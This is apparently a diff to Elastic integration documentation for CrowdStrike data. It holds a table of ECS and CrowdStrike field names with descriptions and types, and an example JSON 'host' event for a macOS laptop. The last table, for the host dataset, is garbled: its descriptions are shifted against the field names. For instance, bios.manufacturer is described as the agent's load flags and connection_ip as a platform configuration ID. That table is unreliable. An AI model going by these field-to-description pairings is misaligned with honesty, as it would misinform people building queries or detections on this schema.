+| crowdstrike.management_event |  | boolean |
+| crowdstrike.monthsincereset |  | keyword |
+| crowdstrike.name |  | keyword |
+| crowdstrike.nist_benchmark_ids |  | keyword |
+| crowdstrike.os_version |  | keyword |
+| crowdstrike.pci_benchmark_ids |  | keyword |
+| crowdstrike.policy_severity |  | long |
+| crowdstrike.product_type_desc |  | keyword |
+| crowdstrike.read_only |  | boolean |
+| crowdstrike.request_id |  | keyword |
+| crowdstrike.request_parameters |  | keyword |
+| crowdstrike.resource.captured |  | date |
+| crowdstrike.resource.legacyResourceId |  | keyword |
+| crowdstrike.resource.legacyResourceTypeId |  | long |
+| crowdstrike.resource.resourceId |  | keyword |
+| crowdstrike.resource.resourceType |  | keyword |
+| crowdstrike.resource_url |  | keyword |
+| crowdstrike.response_elements |  | keyword |
+| crowdstrike.revision |  | long |
+| crowdstrike.scores.modified_time |  | date |
+| crowdstrike.scores.os |  | long |
+| crowdstrike.scores.overall |  | long |
+| crowdstrike.scores.sensor |  | long |
+| crowdstrike.scores.version |  | keyword |
+| crowdstrike.service |  | keyword |
+| crowdstrike.soc2_benchmark_ids |  | keyword |
+| crowdstrike.status |  | keyword |
+| crowdstrike.subnet |  | keyword |
+| crowdstrike.url |  | keyword |
+| crowdstrike.user_identity_access_key_id |  | keyword |
+| crowdstrike.user_identity_account_id |  | keyword |
+| crowdstrike.user_identity_arn |  | keyword |
+| crowdstrike.user_identity_mfa_authenticated |  | boolean |
+| crowdstrike.vertex_id |  | keyword |
+| crowdstrike.vertex_type |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| destination.as.organization.name | Organization name. | keyword |
+| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
+| destination.geo.city_name | City name. | keyword |
+| destination.geo.continent_name | Name of the continent. | keyword |
+| destination.geo.country_iso_code | Country ISO code. | keyword |
+| destination.geo.country_name | Country name. | keyword |
+| destination.geo.location | Longitude and latitude. | geo_point |
+| destination.geo.region_iso_code | Region ISO code. | keyword |
+| destination.geo.region_name | Region name. | keyword |
+| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
+| destination.port | Port of the destination. | long |
+| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
+| dll.Ext.size | Size of DLL. | long |
+| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword |
+| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| dns.question.type | The type of record being queried. | keyword |
+| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword |
+| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword |
+| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
+| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
+| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
+| event.dataset | Event dataset | constant_keyword |
+| event.id | Unique ID to describe the event. | keyword |
+| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
+| event.module | Event module | constant_keyword |
+| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
+| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
+| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword |
+| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
+| file.Ext.original.name |  | keyword |
+| file.Ext.original.path |  | keyword |
+| file.device | Device that is the source of the file. | keyword |
+| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword |
+| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword |
+| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
+| file.hash.sha256 | SHA256 hash. | keyword |
+| file.inode | Inode representing the file in the filesystem. | keyword |
+| file.name | Name of the file including the extension, without the directory. | keyword |
+| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
+| file.path.text | Multi-field of `file.path`. | match_only_text |
+| file.size | File size in bytes. Only relevant when `file.type` is "file". | long |
+| file.type | File type (file, dir, or symlink). | keyword |
+| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword |
+| group.id | Unique identifier for the group on the system/platform. | keyword |
+| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword |
+| host.geo.city_name | City name. | keyword |
+| host.geo.continent_name | Name of the continent. | keyword |
+| host.geo.country_name | Country name. | keyword |
+| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword |
+| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword |
+| host.ip | Host ip addresses. | ip |
+| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword |
+| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword |
+| host.os.version | Operating system version as a raw string. | keyword |
+| input.type |  | keyword |
+| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword |
+| log.offset |  | long |
+| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword |
+| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
+| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword |
+| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword |
+| observer.address |  | keyword |
+| observer.geo.city_name | City name. | keyword |
+| observer.geo.continent_name | Name of the continent. | keyword |
+| observer.geo.country_iso_code | Country ISO code. | keyword |
+| observer.geo.country_name | Country name. | keyword |
+| observer.geo.location | Longitude and latitude. | geo_point |
+| observer.geo.region_iso_code | Region ISO code. | keyword |
+| observer.geo.region_name | Region name. | keyword |
+| observer.ip | IP addresses of the observer. | ip |
+| observer.serial_number | Observer serial number. | keyword |
+| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword |
+| observer.vendor | Vendor name of the observer. | constant_keyword |
+| observer.version | Observer version. | keyword |
+| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword |
+| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long |
+| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
+| process.end | The time the process ended. | date |
+| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
+| process.executable | Absolute path to the process executable. | keyword |
+| process.executable.caseless | Multi-field of `process.executable`. | keyword |
+| process.executable.text | Multi-field of `process.executable`. | match_only_text |
+| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long |
+| process.group.id |  | keyword |
+| process.hash.md5 | MD5 hash. | keyword |
+| process.hash.sha256 | SHA256 hash. | keyword |
+| process.name | Process name. Sometimes called program name or similar. | keyword |
+| process.name.caseless | Multi-field of `process.name`. | keyword |
+| process.name.text | Multi-field of `process.name`. | match_only_text |
+| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
+| process.parent.name | Process name. Sometimes called program name or similar. | keyword |
+| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text |
+| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long |
+| process.pid | Process id. | long |
+| process.start | The time the process started. | date |
+| process.thread.id | Thread ID. | long |
+| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword |
+| process.title.text | Multi-field of `process.title`. | match_only_text |
+| process.uptime | Seconds the process has been up. | long |
+| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
+| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
+| related.ip | All of the IPs seen on your event. | ip |
+| related.user | All the user names or other user identifiers seen on the event. | keyword |
+| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword |
+| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| source.as.organization.name | Organization name. | keyword |
+| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
+| source.geo.city_name | City name. | keyword |
+| source.geo.continent_name | Name of the continent. | keyword |
+| source.geo.country_iso_code | Country ISO code. | keyword |
+| source.geo.country_name | Country name. | keyword |
+| source.geo.location | Longitude and latitude. | geo_point |
+| source.geo.region_iso_code | Region ISO code. | keyword |
+| source.geo.region_name | Region name. | keyword |
+| source.ip | IP address of the source (IPv4 or IPv6). | ip |
+| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword |
+| source.port | Port of the source. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword |
+| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
+| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard |
+| url.original.text | Multi-field of `url.original`. | match_only_text |
+| url.path | Path of the request, such as "/search". | wildcard |
+| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword |
+| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword |
+| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
+| user.email | User email address. | keyword |
+| user.full_name | User's full name, if available. | keyword |
+| user.full_name.text | Multi-field of `user.full_name`. | match_only_text |
+| user.group.id | Unique identifier for the group on the system/platform. | keyword |
+| user.id | Unique identifier of the user. | keyword |
+| user.name | Short name or login of the user. | keyword |
+| user.name.text | Multi-field of `user.name`. | match_only_text |
+
+
+### Host
+
+This is the `host` dataset.
+
+#### Example
+
+An example event for `host` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-07T10:26:53.000Z",
+    "agent": {
+        "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70",
+        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
+        "name": "elastic-agent-18005",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "host": {
+            "agent": {
+                "load_flags": "0",
+                "local_time": "2023-11-07T04:51:16.678Z",
+                "version": "7.05.17603.0"
+            },
+            "bios": {
+                "manufacturer": "ABCInc.",
+                "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)"
+            },
+            "chassis_type": {
+                "desc": "Laptop",
+                "value": "9"
+            },
+            "cid": "92012896127c4948236ba7601b886b0",
+            "config_id": {
+                "base": "6594763",
+                "build": "1703",
+                "platform": "4"
+            },
+            "connection_ip": "81.2.69.192",
+            "cpu_signature": "460517",
+            "device_policies": {
+                "device_control": {
+                    "applied": true,
+                    "applied_date": "2023-06-20T08:45:26.341Z",
+                    "assigned_date": "2023-06-20T08:43:47.736Z",
+                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
+                    "policy_type": "device-control"
+                },
+                "firewall": {
+                    "applied": true,
+                    "applied_date": "2023-09-11T10:33:44.174Z",
+                    "assigned_date": "2023-09-11T10:32:47.853Z",
+                    "policy": {
+                        "id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
+                        "type": "firewall"
+                    },
+                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
+                },
+                "global_config": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.515Z",
+                    "assigned_date": "2023-11-07T04:51:18.946Z",
+                    "policy": {
+                        "id": "7e3078b60976486cac5dc998808d9135",
+                        "type": "globalconfig"
+                    },
+                    "settings_hash": "f01def74"
+                },
+                "prevention": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "1024fac1b279424fa7300b8ac2d56be5",
+                        "type": "prevention"
+                    },
+                    "settings_hash": "f7a54ca1"
+                },
+                "remote_response": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.017Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "dabb4def99034f11b9b3d52271584c9f",
+                        "type": "remote-response"
+                    },
+                    "settings_hash": "8a548e5e"
+                },
+                "sensor_update": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.659Z",
+                    "assigned_date": "2023-11-07T04:47:43.342Z",
+                    "policy": {
+                        "id": "64bfa2bbcd4e46da92a66b107933da11",
+                        "type": "sensor-update"
+                    },
+                    "settings_hash": "tagged|18;101",
+                    "uninstall_protection": "ENABLED"
+                }
+            },
+            "external_ip": "81.2.69.192",
+            "first_seen": "2023-06-08T10:00:19.000Z",
+            "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+            "groups": [
+                "182388a8dbea4c44b5e019cfd32c2695"
+            ],
+            "hostname": "CLM101-131.local",
+            "id": "3114433dbce478ca48d9a828b9b34be",
+            "kernel_version": "22.6.0",
+            "last_seen": "2023-11-07T10:25:24.000Z",
+            "local_ip": "81.2.69.142",
+            "mac_address": "14-7D-DA-AD-AC-71",
+            "machine_domain": "SYS",
+            "major_version": "22",
+            "meta": {
+                "version": "6002",
+                "version_string": "7:43570272778"
+            },
+            "minor_version": "6",
+            "modified_timestamp": "2023-11-07T10:26:53.000Z",
+            "os": {
+                "build": "22G120",
+                "version": "Ventura(13)"
+            },
+            "platform": {
+                "id": "1",
+                "name": "Mac"
+            },
+            "policies": [
+                {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "1024fac1b279424fa7300b8ac2d56be5",
+                        "type": "prevention"
+                    },
+                    "settings_hash": "f7a54ca1"
+                }
+            ],
+            "product_type_desc": "Workstation",
+            "provision_status": "Provisioned",
+            "reduced_functionality_mode": "no",
+            "serial_number": "FVFDH73HMNHX",
+            "site_name": "Default-First-Site-Name",
+            "status": "normal",
+            "system": {
+                "manufacturer": "ABCInc.",
+                "product_name": "Air,1"
+            },
+            "tags": [
+                "tags"
+            ]
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.host",
+        "namespace": "67537",
+        "type": "logs"
+    },
+    "device": {
+        "id": "3114433dbce478ca48d9a828b9b34be"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "host"
+        ],
+        "dataset": "crowdstrike.host",
+        "ingested": "2025-11-27T09:36:28Z",
+        "kind": "event",
+        "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}",
+        "type": [
+            "info"
+        ]
+    },
+    "host": {
+        "geo": {
+            "city_name": "London",
+            "continent_name": "Europe",
+            "country_iso_code": "GB",
+            "country_name": "United Kingdom",
+            "location": {
+                "lat": 51.5142,
+                "lon": -0.0931
+            },
+            "region_iso_code": "GB-ENG",
+            "region_name": "England"
+        },
+        "hostname": "CLM101-131.local",
+        "id": "3114433dbce478ca48d9a828b9b34be",
+        "ip": [
+            "81.2.69.192"
+        ],
+        "mac": [
+            "14-7D-DA-AD-AC-71"
+        ],
+        "os": {
+            "full": "Ventura(13)",
+            "platform": "Mac",
+            "type": "macos"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "related": {
+        "hash": [
+            "f01def74",
+            "f7a54ca1",
+            "8a548e5e",
+            "tagged|18;101",
+            "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77"
+        ],
+        "hosts": [
+            "CLM101-131.local",
+            "SYS"
+        ],
+        "ip": [
+            "81.2.69.192",
+            "81.2.69.142"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-host"
+    ]
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword |
+| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date |
+| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword |
+| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword |
+| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword |
+| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword |
+| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword |
+| crowdstrike.host.cid | The version of the BIOS on the host. | keyword |
+| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword |
+| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword |
+| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword |
+| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip |
+| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword |
+| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean |
+| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date |
+| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date |
+| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword |
+| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword |
+| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean |
+| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date |
+| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date |
+| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword |
+| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword |
+| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword |
